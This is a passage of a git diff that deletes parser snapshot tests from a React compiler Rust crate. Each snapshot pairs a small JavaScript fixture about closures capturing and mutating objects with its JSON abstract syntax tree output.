-                          "type": "ExpressionStatement",
-                          "expression": {
-                            "type": "AssignmentExpression",
-                            "operator": "=",
-                            "left": {
-                              "type": "Identifier",
-                              "name": "str",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                830,
-                                833
-                              ]
-                            },
-                            "right": {
-                              "type": "CallExpression",
-                              "callee": {
-                                "type": "Identifier",
-                                "name": "groupFormat",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  836,
-                                  847
-                                ]
-                              },
-                              "arguments": [
-                                {
-                                  "type": "StringLiteral",
-                                  "value": "",
-                                  "loc": null,
-                                  "range": [
-                                    848,
-                                    850
-                                  ]
-                                },
-                                {
-                                  "type": "Identifier",
-                                  "name": "str",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    852,
-                                    855
-                                  ]
-                                }
-                              ],
-                              "loc": null,
-                              "range": [
-                                836,
-                                856
-                              ]
-                            },
-                            "loc": null,
-                            "range": [
-                              830,
-                              856
-                            ]
-                          },
-                          "directive": null,
-                          "loc": null,
-                          "range": [
-                            830,
-                            857
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        822,
-                        863
-                      ]
-                    },
-                    "alternate": null,
-                    "loc": null,
-                    "range": [
-                      799,
-                      863
-                    ]
-                  },
-                  {
-                    "type": "ExpressionStatement",
-                    "expression": {
-                      "type": "CallExpression",
-                      "callee": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "global",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            868,
-                            874
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "nativeLoggingHook",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            875,
-                            892
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          868,
-                          892
-                        ]
-                      },
-                      "arguments": [
-                        {
-                          "type": "Identifier",
-                          "name": "str",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            893,
-                            896
-                          ]
-                        },
-                        {
-                          "type": "Identifier",
-                          "name": "logLevel",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            898,
-                            906
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        868,
-                        907
-                      ]
-                    },
-                    "directive": null,
-                    "loc": null,
-                    "range": [
-                      868,
-                      908
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  60,
-                  912
-                ]
-              },
-              "generator": false,
-              "async": false,
-              "loc": null,
-              "range": [
-                48,
-                912
-              ],
-              "loc": null,
-              "range": [
-                48,
-                912
-              ]
-            },
-            "loc": null,
-            "range": [
-              41,
-              913
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          37,
-          915
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        915
-      ],
-      "loc": null,
-      "range": [
-        0,
-        915
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    915
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capture_mutate-across-fns.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capture_mutate-across-fns.js.snap
deleted file mode 100644
index b504f30aceed..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capture_mutate-across-fns.js.snap
+++ /dev/null
@@ -1,311 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/capture_mutate-across-fns.js
----
-Input:
-function component(a) {
-  let z = { a };
-  (function () {
-    (function () {
-      z.b = 1;
-    })();
-  })();
-  return z;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "z",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    30,
-                    31
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          36,
-                          37
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          36,
-                          37
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": true,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        36,
-                        37
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    34,
-                    39
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  30,
-                  39
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              26,
-              40
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "FunctionExpression",
-                "id": null,
-                "params": [],
-                "body": {
-                  "type": "BlockStatement",
-                  "body": [
-                    {
-                      "type": "ExpressionStatement",
-                      "expression": {
-                        "type": "CallExpression",
-                        "callee": {
-                          "type": "FunctionExpression",
-                          "id": null,
-                          "params": [],
-                          "body": {
-                            "type": "BlockStatement",
-                            "body": [
-                              {
-                                "type": "ExpressionStatement",
-                                "expression": {
-                                  "type": "AssignmentExpression",
-                                  "operator": "=",
-                                  "left": {
-                                    "type": "MemberExpression",
-                                    "object": {
-                                      "type": "Identifier",
-                                      "name": "z",
-                                      "typeAnnotation": null,
-                                      "loc": null,
-                                      "range": [
-                                        83,
-                                        84
-                                      ]
-                                    },
-                                    "property": {
-                                      "type": "Identifier",
-                                      "name": "b",
-                                      "typeAnnotation": null,
-                                      "loc": null,
-                                      "range": [
-                                        85,
-                                        86
-                                      ]
-                                    },
-                                    "computed": false,
-                                    "loc": null,
-                                    "range": [
-                                      83,
-                                      86
-                                    ]
-                                  },
-                                  "right": {
-                                    "type": "NumericLiteral",
-                                    "value": 1.0,
-                                    "loc": null,
-                                    "range": [
-                                      89,
-                                      90
-                                    ]
-                                  },
-                                  "loc": null,
-                                  "range": [
-                                    83,
-                                    90
-                                  ]
-                                },
-                                "directive": null,
-                                "loc": null,
-                                "range": [
-                                  83,
-                                  91
-                                ]
-                              }
-                            ],
-                            "loc": null,
-                            "range": [
-                              75,
-                              97
-                            ]
-                          },
-                          "generator": false,
-                          "async": false,
-                          "loc": null,
-                          "range": [
-                            63,
-                            97
-                          ],
-                          "loc": null,
-                          "range": [
-                            63,
-                            97
-                          ]
-                        },
-                        "arguments": [],
-                        "loc": null,
-                        "range": [
-                          62,
-                          100
-                        ]
-                      },
-                      "directive": null,
-                      "loc": null,
-                      "range": [
-                        62,
-                        101
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    56,
-                    105
-                  ]
-                },
-                "generator": false,
-                "async": false,
-                "loc": null,
-                "range": [
-                  44,
-                  105
-                ],
-                "loc": null,
-                "range": [
-                  44,
-                  105
-                ]
-              },
-              "arguments": [],
-              "loc": null,
-              "range": [
-                43,
-                108
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              43,
-              109
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "z",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                119,
-                120
-              ]
-            },
-            "loc": null,
-            "range": [
-              112,
-              121
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          22,
-          123
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        123
-      ],
-      "loc": null,
-      "range": [
-        0,
-        123
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    123
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-arrow-function-1.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-arrow-function-1.js.snap
deleted file mode 100644
index b61f8c9a42ee..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-arrow-function-1.js.snap
+++ /dev/null
@@ -1,278 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/capturing-arrow-function-1.js
----
-Input:
-function component(a) {
-  let z = { a };
-  let x = () => {
-    console.log(z);
-  };
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "z",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    30,
-                    31
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          36,
-                          37
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          36,
-                          37
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": true,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        36,
-                        37
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    34,
-                    39
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  30,
-                  39
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              26,
-              40
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    47,
-                    48
-                  ]
-                },
-                "init": {
-                  "type": "ArrowFunctionExpression",
-                  "id": null,
-                  "params": [],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "CallExpression",
-                          "callee": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "console",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                63,
-                                70
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "log",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                71,
-                                74
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              63,
-                              74
-                            ]
-                          },
-                          "arguments": [
-                            {
-                              "type": "Identifier",
-                              "name": "z",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                75,
-                                76
-                              ]
-                            }
-                          ],
-                          "loc": null,
-                          "range": [
-                            63,
-                            77
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          63,
-                          78
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      57,
-                      82
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    51,
-                    82
-                  ],
-                  "expression": false,
-                  "loc": null,
-                  "range": [
-                    51,
-                    82
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  47,
-                  82
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              43,
-              83
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                93,
-                94
-              ]
-            },
-            "loc": null,
-            "range": [
-              86,
-              95
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          22,
-          97
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        97
-      ],
-      "loc": null,
-      "range": [
-        0,
-        97
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    97
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-fun-alias-captured-mutate-2.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-fun-alias-captured-mutate-2.js.snap
deleted file mode 100644
index 9a26ec253b27..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-fun-alias-captured-mutate-2.js.snap
+++ /dev/null
@@ -1,499 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/capturing-fun-alias-captured-mutate-2.js
----
-Input:
-function component(foo, bar) {
-  let x = { foo };
-  let y = { bar };
-  (function () {
-    let a = { y };
-    let b = x;
-    a.x = b;
-  })();
-  mutate(y);
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "foo",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            22
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "bar",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            24,
-            27
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    37,
-                    38
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "foo",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          43,
-                          46
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "foo",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          43,
-                          46
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": true,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        43,
-                        46
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    41,
-                    48
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  37,
-                  48
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              33,
-              49
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    56,
-                    57
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "bar",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          62,
-                          65
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "bar",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          62,
-                          65
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": true,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        62,
-                        65
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    60,
-                    67
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  56,
-                  67
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              52,
-              68
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "FunctionExpression",
-                "id": null,
-                "params": [],
-                "body": {
-                  "type": "BlockStatement",
-                  "body": [
-                    {
-                      "type": "VariableDeclaration",
-                      "kind": "let",
-                      "declarations": [
-                        {
-                          "type": "VariableDeclarator",
-                          "id": {
-                            "type": "Identifier",
-                            "name": "a",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              94,
-                              95
-                            ]
-                          },
-                          "init": {
-                            "type": "ObjectExpression",
-                            "properties": [
-                              {
-                                "type": "Property",
-                                "key": {
-                                  "type": "Identifier",
-                                  "name": "y",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    100,
-                                    101
-                                  ]
-                                },
-                                "value": {
-                                  "type": "Identifier",
-                                  "name": "y",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    100,
-                                    101
-                                  ]
-                                },
-                                "kind": "init",
-                                "method": false,
-                                "shorthand": true,
-                                "computed": false,
-                                "loc": null,
-                                "range": [
-                                  100,
-                                  101
-                                ]
-                              }
-                            ],
-                            "loc": null,
-                            "range": [
-                              98,
-                              103
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            94,
-                            103
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        90,
-                        104
-                      ]
-                    },
-                    {
-                      "type": "VariableDeclaration",
-                      "kind": "let",
-                      "declarations": [
-                        {
-                          "type": "VariableDeclarator",
-                          "id": {
-                            "type": "Identifier",
-                            "name": "b",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              113,
-                              114
-                            ]
-                          },
-                          "init": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              117,
-                              118
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            113,
-                            118
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        109,
-                        119
-                      ]
-                    },
-                    {
-                      "type": "ExpressionStatement",
-                      "expression": {
-                        "type": "AssignmentExpression",
-                        "operator": "=",
-                        "left": {
-                          "type": "MemberExpression",
-                          "object": {
-                            "type": "Identifier",
-                            "name": "a",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              124,
-                              125
-                            ]
-                          },
-                          "property": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              126,
-                              127
-                            ]
-                          },
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            124,
-                            127
-                          ]
-                        },
-                        "right": {
-                          "type": "Identifier",
-                          "name": "b",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            130,
-                            131
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          124,
-                          131
-                        ]
-                      },
-                      "directive": null,
-                      "loc": null,
-                      "range": [
-                        124,
-                        132
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    84,
-                    136
-                  ]
-                },
-                "generator": false,
-                "async": false,
-                "loc": null,
-                "range": [
-                  72,
-                  136
-                ],
-                "loc": null,
-                "range": [
-                  72,
-                  136
-                ]
-              },
-              "arguments": [],
-              "loc": null,
-              "range": [
-                71,
-                139
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              71,
-              140
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "mutate",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  143,
-                  149
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    150,
-                    151
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                143,
-                152
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              143,
-              153
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                163,
-                164
-              ]
-            },
-            "loc": null,
-            "range": [
-              156,
-              165
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          29,
-          167
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        167
-      ],
-      "loc": null,
-      "range": [
-        0,
-        167
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    167
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-fun-alias-captured-mutate-arr-2.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-fun-alias-captured-mutate-arr-2.js.snap
deleted file mode 100644
index 0f792aba75e0..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-fun-alias-captured-mutate-arr-2.js.snap
+++ /dev/null
@@ -1,477 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/capturing-fun-alias-captured-mutate-arr-2.js
----
-Input:
-function component(foo, bar) {
-  let x = { foo };
-  let y = { bar };
-  (function () {
-    let a = [y];
-    let b = x;
-    a.x = b;
-  })();
-  mutate(y);
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "foo",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            22
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "bar",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            24,
-            27
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    37,
-                    38
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "foo",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          43,
-                          46
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "foo",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          43,
-                          46
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": true,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        43,
-                        46
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    41,
-                    48
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  37,
-                  48
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              33,
-              49
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    56,
-                    57
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "bar",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          62,
-                          65
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "bar",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          62,
-                          65
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": true,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        62,
-                        65
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    60,
-                    67
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  56,
-                  67
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              52,
-              68
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "FunctionExpression",
-                "id": null,
-                "params": [],
-                "body": {
-                  "type": "BlockStatement",
-                  "body": [
-                    {
-                      "type": "VariableDeclaration",
-                      "kind": "let",
-                      "declarations": [
-                        {
-                          "type": "VariableDeclarator",
-                          "id": {
-                            "type": "Identifier",
-                            "name": "a",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              94,
-                              95
-                            ]
-                          },
-                          "init": {
-                            "type": "ArrayExpression",
-                            "elements": [
-                              {
-                                "type": "Identifier",
-                                "name": "y",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  99,
-                                  100
-                                ]
-                              }
-                            ],
-                            "loc": null,
-                            "range": [
-                              98,
-                              101
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            94,
-                            101
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        90,
-                        102
-                      ]
-                    },
-                    {
-                      "type": "VariableDeclaration",
-                      "kind": "let",
-                      "declarations": [
-                        {
-                          "type": "VariableDeclarator",
-                          "id": {
-                            "type": "Identifier",
-                            "name": "b",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              111,
-                              112
-                            ]
-                          },
-                          "init": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              115,
-                              116
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            111,
-                            116
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        107,
-                        117
-                      ]
-                    },
-                    {
-                      "type": "ExpressionStatement",
-                      "expression": {
-                        "type": "AssignmentExpression",
-                        "operator": "=",
-                        "left": {
-                          "type": "MemberExpression",
-                          "object": {
-                            "type": "Identifier",
-                            "name": "a",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              122,
-                              123
-                            ]
-                          },
-                          "property": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              124,
-                              125
-                            ]
-                          },
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            122,
-                            125
-                          ]
-                        },
-                        "right": {
-                          "type": "Identifier",
-                          "name": "b",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            128,
-                            129
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          122,
-                          129
-                        ]
-                      },
-                      "directive": null,
-                      "loc": null,
-                      "range": [
-                        122,
-                        130
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    84,
-                    134
-                  ]
-                },
-                "generator": false,
-                "async": false,
-                "loc": null,
-                "range": [
-                  72,
-                  134
-                ],
-                "loc": null,
-                "range": [
-                  72,
-                  134
-                ]
-              },
-              "arguments": [],
-              "loc": null,
-              "range": [
-                71,
-                137
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              71,
-              138
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "mutate",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  141,
-                  147
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    148,
-                    149
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                141,
-                150
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              141,
-              151
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                161,
-                162
-              ]
-            },
-            "loc": null,
-            "range": [
-              154,
-              163
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          29,
-          165
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        165
-      ],
-      "loc": null,
-      "range": [
-        0,
-        165
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    165
-  ]
-}
